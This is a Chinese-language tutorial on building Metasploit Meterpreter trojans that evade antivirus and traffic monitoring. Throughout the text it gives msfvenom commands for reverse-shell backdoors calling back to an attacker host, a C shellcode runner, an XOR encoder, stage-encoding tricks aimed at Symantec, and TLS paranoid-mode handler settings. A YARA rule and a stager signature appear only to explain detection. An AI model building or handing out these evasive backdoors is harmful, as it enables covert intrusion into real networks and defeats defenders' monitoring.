MSF+生成流量免杀木马

在实战中，即便你绕过了杀毒软件的检测，也很有可能会结束在某些流量监控的设备上。MSF可以说其是每一个内网玩家的必用工具。理所当然，这款工具也自然而然地被各大安全厂商分析，捕捉其在命令执行时产生的数据和流量。当我们使用一个没有做过加密处理的原版工具时，内网中的安全设备会根据我们的流量特征进行判断，认定我们为恶意进程，从而导致控制中断。

Meterpreter技巧

生成后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4444 -f exe > /root/Desktop/Green_m.exe

这样可以生成一个使用tcp协议反向连接到192.168.1.200的4444端口的meterpreter的后门。

这样生成的exe可以运行，但是会被杀掉。

生成shellcode免杀

手动编译meterpreter并对shellcode进行编码就能绕过静态查杀，meterpreter本身就是直接加载进内存并且有编码，绕过动态查杀基本没问题

msfvenom -p windows/meterpreter/reverse_tcp

-e x86/shikata_ga_nai -i 5 -b ‘x00’

lhost=192.168.1.200 lport=4444 -f c

上述命令生成在之前的基础上生成基于c语言格式的shellcode，通过e参数指定编码方式，i参数指定编码次数，b参数去除指定代码，一般是空代码或者错误代码，-f指定生成格式。

unsigned char buf[] =

"shellcode is here";

main()

{

( (void(*)(void))&buf)();

}

这种方式vc++6.0能够成功编译

选择payload进行免杀

上面生成shellcode的方式是针对杀软静态免杀的，接下来说到动态行为免杀。

在对市面上主流的杀软进行测试的过程中，发现symantec会在meterpreter回连成功，从metasploit里接受数据的时候报毒。

无论是自己手动编码编译还是msf自动生成的exe都会这样被报毒。

使用reverse_https等payload可以anti symantec。

msfvenom -p windows/meterpreter/reverse_https

lhost=192.168.1.200 lport=443 -f c

但是需要在metasploit设置：

set EnableStageEncoding true

set stageencoder x86/fnstenv_mov

set stageencodingfallback false

将控制端向被控制端发送的stage进行编码，从而绕过symantec的查杀。

同样，使用reverse_tcp_rc4也有同样的效果，而且不用设置stageencoder选项，更稳定更方便。

msfvenom -p windows/meterpreter/reverse_tcp_rc4

lhost=192.168.1.200 lport=4444 RC4PASSWORD=Green-m

-f c

利用rc4对传输的数据进行加密，密钥在生成时指定，在监听的服务端设置相同的密钥。就可以在symantec眼皮地下执行meterpreter。

Meterpreter免杀及对抗分析

静态检测与对抗

静态分析原理

简单的来说，就是通过特征码识别静态文件，杀软会扫描存在磁盘上的镜像文件，如果满足特征码，就识别为恶意软件。

恶意软件匹配规则yara匹配恶意软件的时候就是用的这样的方式。通过特征来识别抓HASH工具QuarksPwDump，yara规则如下

/*
  This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as long as you use it under this license.

*/
rule QuarksPwDump_Gen : Toolkit {
meta:
description = "Detects all QuarksPWDump versions"
author = "Florian Roth"
date = "2015-09-29"
score = 80
hash1 = "2b86e6aea37c324ce686bd2b49cf5b871d90f51cec24476daa01dd69543b54fa"
hash2 = "87e4c76cd194568e65287f894b4afcef26d498386de181f568879dde124ff48f"
hash3 = "a59be92bf4cce04335bd1a1fcf08c1a94d5820b80c068b3efe13e2ca83d857c9"
hash4 = "c5cbb06caa5067fdf916e2f56572435dd40439d8e8554d3354b44f0fd45814ab"
hash5 = "677c06db064ee8d8777a56a641f773266a4d8e0e48fbf0331da696bea16df6aa"
hash6 = "d3a1eb1f47588e953b9759a76dfa3f07a3b95fab8d8aa59000fd98251d499674"
hash7 = "8a81b3a75e783765fe4335a2a6d1e126b12e09380edc4da8319efd9288d88819"
strings:
$s1 = "OpenProcessToken() error: 0x%08X" fullword ascii
$s2 = "%d dumped" fullword ascii
$s3 = "AdjustTokenPrivileges() error: 0x%08X" fullword ascii
$s4 = "\SAM-%u.dmp" fullword ascii
condition:
all of them
}

可以看到匹配匹配s2 s4全部四条规则及标记为识别。

当然还有通过md5、sha1来计算文件hash识别恶意软件，最简单粗暴而且有效，但是也很容易绕过，也有分段进行hash来识别相似度的方法，原理和上面的特征码识别都是一样的，这里不再赘述。

对抗静态分析

1.修改特征码 特征码的识别也有一些不同的方式，最开始是使用单个特征码来定位，就有了与之对抗的ccl，随着对抗技术的升级，就有了多条的特征码，对应的也就有了mutilccl, myccl, virtest，甚至现在github上的自动化特征码识别，技术越来越多样。

修改特征码最重要的是定位特征码，但是定位了特征码修改后并不代表程序就能正常运行，费时费力，由于各个杀软厂商的特征库不同，所以一般也只能对一类的杀软起效果。虽然效果不好，但有时候在没有源码的情况下可以一用。

虽然meterpreter对于我们来说是开源的，但是偶尔编译出来的文件修改一些小地方就能让杀软直接报废，也算是一个保留方法了。

2.加壳 加壳虽然对于特征码绕过有非常好的效果，加密壳基本上可以把特征码全部掩盖，但是缺点也非常的明显，因为壳自己也有特征。在某些比较流氓的国产杀软的检测方式下，主流的壳如VMP, Themida等，一旦被检测到加壳直接弹框告诉你这玩意儿有问题，虽然很直接，但是还是挺有效的。有些情况下，有的常见版本的壳会被直接脱掉分析。

面对这种情况可以考虑用一切冷门的加密壳，有时间精力的可以基于开源的压缩壳改一些源码，效果可能会很不错。

总得来说，加壳的方式来免杀还是比较实用的，特别是对于不开源的PE文件，通过加壳可以绕过很多特征码识别。

3.shellcode 编译 msfvenom不仅提供多种格式的payload，其中就包括shellcode。shellcode对于源码免杀来说基本上是最好用的那种，绕过静态杀软的神器。

使用msfvenom选择encoder的时候大家一般都会选择shikata_ga_nai这个编码方式（因为x86的encoder里只有它的Rank是excellent），这个encoder的解码和编码过程都是随机生成的。

但是，这个编码内容是有特征的，经过shikata_ga_nai 编码之后的shellcode必定含有xd9x74x24xf4 这串16进制字符

当然不止是 shikata_ga_na 编码方式，其他的编码方式特征可能更加明显（x86/fnstenv_mov 的编码方式就被很多杀软能直接检测到，远不如 shikata_ga_na ）。那么如果要对抗这样的情况，只能自己再将编码过后的shellcode进行编码或者加密。

这里写一个简单的xor作为demo供大家感受一下，代码如下：

unsigned char shellcode[]=
"x33xc9xb1xc6xd9xeexd9x74x24xf4x5bx81x73x13xe6";

// the key to xor
unsigned char key[]="xccxfax1fx3d";

// encode shellcode

     for ( i=0; i<(sizeof(shellcode)-1) ; i=i+1)
     {
          shellcode[i]=shellcode[i]^key[i % sizeof(key)];
     }

// decoder
void decode()
{
for (i=0; i<(sizeof(shellcode)-1); i+=1)
     shellcode[i]=shellcode[i]^key[i%sizeof(key)];
}

void executeShellcode()
{
     decode();
     // run shellcode
}

流量检测与对抗

Meterpreter的传输加载

要知道meterpreter的流量特征，首先要搞清楚meterpreter的传输方式。

metasploit的木马分为两个大类，staged 和stageless 。

staged类型的木马的运行流程为：

客户端在从服务器端接收stager后，stager由引导代码loader和payload组成，客户端在内存中分配一段地址将payload暂存起来，再通过loader来加载内存中的payload。这种内存中注入PE文件的方式称为反射型DLL注入。

stageless的则是将完整的payload都编译在木马中，相对与staged的木马来说，前者体积庞大不灵活，而且容易被杀。

我们以windows/meterpreter/reverse_tcp为例，下面是部分源码（完整源码）

# Generate and compile the stager
#
def generate_reverse_tcp(opts={})
combined_asm = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}  ; To find some functions address such as VirutalAlloc()
    start:
    pop ebp
    #{asm_reverse_tcp(opts)} ; Send and recvice socket connection
    #{asm_block_recv(opts)} ; Do some stuff after recvied payload
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end

asm_block_api部分是用来定义查询API调用地址的函数。

asm_reverse_tcp 部分是用来发送socket请求的。

asm_block_recv 部分是建立连接后，接收服务端发送的stager，再通过 VirtualAlloc() 分配RWX权限的内存，然后执行后续。

这部分建客户端发起连接的过程其实是没有什么特征的，特征主要是在服务端发送的stager，接下来让我们详细看看发送的stager里是什么。

为了让客户端运行服务端发送的meterpreter payload，需要先发送一个加载meterpreter_loader

这段代码主要作用是加载反射性注入的引导代码ReflectiveLoader，通过ReflectiveLoader来加载meterpreter及相关配置。

上面分析这段meterpreter_loader是固定的一段汇编代码，通过nasm将该部分汇编代码转化为机器码如下：

4d5ae8000000005b52455589e581c364130000ffd381c395a40200893b536a0450ffd0

该16进制字符串即为meterpreter的特征。

对抗流量检测

既然流量是有特征的，那么有没有办法对流量进行加密呢，答案是肯定的，在某些环境下，我们需要用到meterpreter的偏执模式(paranoid mode)。

偏执模式在面对接受的请求很多的时候，可以有效过滤筛选回连的请求，只留下自己所需要的。

同时，因为其使用了SSL/TLS 认证，因此在应对流量监控和分析时，有很不错的效果，当然也能够Bypass av(by data stream)。

创建一个SSL/TLS证书

在kali或者其他带有openssl的环境下：

$ openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 
    -subj "/C=US/ST=Texas/L=Austin/O=Development/CN=green-m.github.io" 
    -keyout green-m.github.io.key 
    -out green-m.github.io.crt && 
cat green-m.github.io.key  green-m.github.io.crt > green-m.github.io.pem && 
rm -f green-m.github.io.key  green-m.github.io.crt

你可以把green-m.github.io这个URL改成任意你想回连的地址，直接指定相应IP也可以。

如果能搞到一个受信任的证书颁发机构签名的SSL/TLS证书，那就流量直接畅通无阻。

生成偏执模式的payload

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=green-m.github.io LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=./green-m.github.io.pem StagerVerifySSLCert=true PayloadUUIDName=Green_m -f exe -o ./Green_m.exe

通过设置PayloadUUIDTracking和PayloadUUIDName可以在监听的时候过滤掉不需要的回连请求。为了Bypass av的需求，你还可以生成shellcode来自己编译。

如果网络环境不好，你还可以使用stageless的payload，-p参数指定windows/meterpreter_reverse_https，其他不用修改。

监听偏执模式

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_winhttps
set LHOST green-m.github.io
set LPORT 443
set HandlerSSLCert ./green-m.github.io.pem
set IgnoreUnknownPayloads true
set StagerVerifySSLCert true
set exitonsession false
run -j -z

设置HandlerSSLCert和StagerVerifySSLCert参数来使用TLS pinning，IgnoreUnknownPayloads接受白名单的payload。